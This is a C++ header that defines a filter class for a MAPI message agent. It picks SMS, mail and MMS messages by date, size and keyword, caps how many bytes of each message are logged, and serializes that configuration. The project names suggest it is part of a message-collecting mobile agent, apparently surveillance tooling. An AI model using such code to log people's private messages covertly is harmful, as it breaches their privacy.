Mornella/Mornella_Mobile/MAPIAgentClassFilter.h
#pragma once
#pragma warning(push, 3)
#include <windows.h>
#include <strsafe.h>
#include <list>
#pragma warning(pop)
#include "MAPISerialize.h"
#define CLASS_SMS TEXT("IPM.SMSText*")
#define CLASS_MAIL TEXT("IPM.Note*")
#define CLASS_MMS TEXT("IPM.MMS*")
enum {
MAPIAGENTCONF_V1_0 = 0x00000001,
MAPIAGENTCONF_CLASSNO = 6, // number of message classes present in conf struct
MAPIAGENTCONF_CLASSNAMELEN = 32,
MAPIAGENTCONF_HEADER_V1_0 = MAPIAGENTCONF_V1_0,
};
#define FILTER_LOGWHOLEMESSAGE 0
#define FILTER_DONOTFILTERBYSIZE 0
enum FilterObjectTypes {
FILTER_KEYWORDS = 0x01000000,
FILTER_CONF_V1_0 = 0x20000000,
FILTER_CLASS_V1_0 = 0x40000000,
};
class MAPIAgentClassFilter
{
public:
#pragma pack(4)
struct MAPIAgentClassFilterHeader {
DWORD Size;
DWORD Version;
DWORD Type;
TCHAR MessageClass[MAPIAGENTCONF_CLASSNAMELEN]; // Message class, may use "*" wildcard
BOOL Enabled; // FALSE for disabled or non configured classes, otherwise TRUE
BOOL All; // take all messages of this class
BOOL DoFilterFromDate; // get messages delivered past this date
FILETIME FromDate;
BOOL DoFilterToDate; // get messages delivered to this date
FILETIME ToDate;
LONG MaxMessageSize; // filter by message size, 0 means do not filter by size
LONG MaxMessageBytesToLog; // get only this max bytes for each message, 0 means take whole message
} header;
#pragma pack()
std::list<LPTSTR> KeywordSearches;
MAPIAgentClassFilter() {}
MAPIAgentClassFilter(LPTSTR ClassName, DWORD Type)
{
ZeroMemory(&header, sizeof(header));
header.Enabled = TRUE;
header.Version = FILTER_CLASS_V1_0;
header.Type = Type;
StringCchCopy(header.MessageClass, MAPIAGENTCONF_CLASSNAMELEN, ClassName);
}
~MAPIAgentClassFilter()
{
for(std::list<LPTSTR>::iterator i = KeywordSearches.begin(); i != KeywordSearches.end(); i++)
{
LPTSTR str = *i;
if (str)
LocalFree(str);
}
KeywordSearches.clear();
}
BOOL Enabled() { return header.Enabled; }
BOOL All() { return header.All; }
DWORD Type() { return header.Type; }
LPWSTR Class() { return (LPWSTR)header.MessageClass; }
BOOL DoFilterFromDate() { return header.DoFilterFromDate; }
FILETIME FromDate() { return header.FromDate; }
void SetFromDate(FILETIME* ftFromDate)
{
_ASSERT(ftFromDate);
CopyMemory(&header.FromDate, ftFromDate, sizeof(FILETIME));
header.DoFilterFromDate = TRUE;
}
BOOL DoFilterToDate() { return header.DoFilterToDate; }
FILETIME ToDate() { return header.ToDate; }
void SetToDate(FILETIME* ftToDate)
{
_ASSERT(ftToDate);
CopyMemory(&header.ToDate, ftToDate, sizeof(FILETIME));
header.DoFilterToDate = TRUE;
}
LONG MaxMessageSize() { return header.MaxMessageSize; }
void SetMaxMessageSize(DWORD dwMaxSize)
{
header.MaxMessageSize = dwMaxSize;
}
LONG MaxMessageBytesToLog() { return header.MaxMessageBytesToLog; }
void SetMaxMessageBytesToLog(DWORD dwBytesToLog)
{
header.MaxMessageBytesToLog = dwBytesToLog;
}
bool HasKeyword()
{
if (header.All)
return true;
else
return !KeywordSearches.empty();
}
LPWSTR Keyword()
{
if (header.All)
return L"*";
else
return (LPWSTR)(KeywordSearches.front());
}
void AddKeywordsSearch(LPTSTR keywords)
{
_ASSERT(keywords);
LPWSTR lpKeyword = (LPWSTR) LocalAlloc(LPTR, (wcslen(keywords) + 1) * sizeof(WCHAR));
StringCchCopy(lpKeyword, wcslen(keywords) + 1, keywords);
KeywordSearches.push_back(lpKeyword);
}
LPBYTE Serialize(LPDWORD lpdwLength)
{
_ASSERT(lpdwLength);
MAPISerializer<FilterObjectTypes> serializer;
// allocate buffer
DWORD cbDataSize = SerializedLength();
LPBYTE lpData = (LPBYTE) LocalAlloc(LPTR, cbDataSize);
LPBYTE ptr = lpData;
// serialize header
ptr += serializer.SerializeObject(ptr, (LPBYTE)&header, sizeof(header), FILTER_CLASS_V1_0);
// serialize keyword search strings
for (std::list<LPTSTR>::iterator i = KeywordSearches.begin(); i != KeywordSearches.end(); i++)
ptr += serializer.SerializeWString(ptr, (*i), FILTER_KEYWORDS);
(*lpdwLength) = ptr - lpData;
return lpData;
}
DWORD SerializedLength()
{
MAPISerializer<FilterObjectTypes> serializer;
DWORD cbDataSize = 0;
cbDataSize += serializer.SerializedObjectLength(sizeof(header));
for (std::list<LPTSTR>::iterator i = KeywordSearches.begin(); i != KeywordSearches.end(); i++)
cbDataSize += serializer.SerializedWStringLength((*i));
return cbDataSize + sizeof(DWORD);
}
static MAPIAgentClassFilter* Unserialize(LPBYTE lpData, DWORD dwSize)
{
_ASSERT(lpData);
_ASSERT(dwSize > 0);
MAPISerializer<FilterObjectTypes> serializer;
MAPIAgentClassFilter* filter = new MAPIAgentClassFilter();
LPBYTE ptr = lpData;
DWORD dwBytesToGo = dwSize;
while (dwBytesToGo != 0)
{
DWORD prefix = 0;
ptr += serializer.ReadPrefix(ptr, &prefix);
DWORD type = PREFIX_TYPE(prefix);
DWORD size = PREFIX_SIZE(prefix);
dwBytesToGo -= sizeof(prefix) + size;
switch(type)
{
case FILTER_CLASS_V1_0:
{
DWORD dwHeaderSize = sizeof(filter->header);
if (size == dwHeaderSize)
{
LPBYTE lpObject = NULL;
ptr += serializer.UnserializeObject(ptr, size, (LPBYTE*)&lpObject);
CopyMemory(&filter->header, lpObject, size);
if (lpObject)
LocalFree(lpObject);
}
}
break;
case FILTER_KEYWORDS:
{
LPTSTR keyword;
ptr += serializer.UnserializeWString(ptr, size, &keyword);
filter->AddKeywordsSearch(keyword);
}
break;
} /* switch */
} /* while */
return filter;
}
};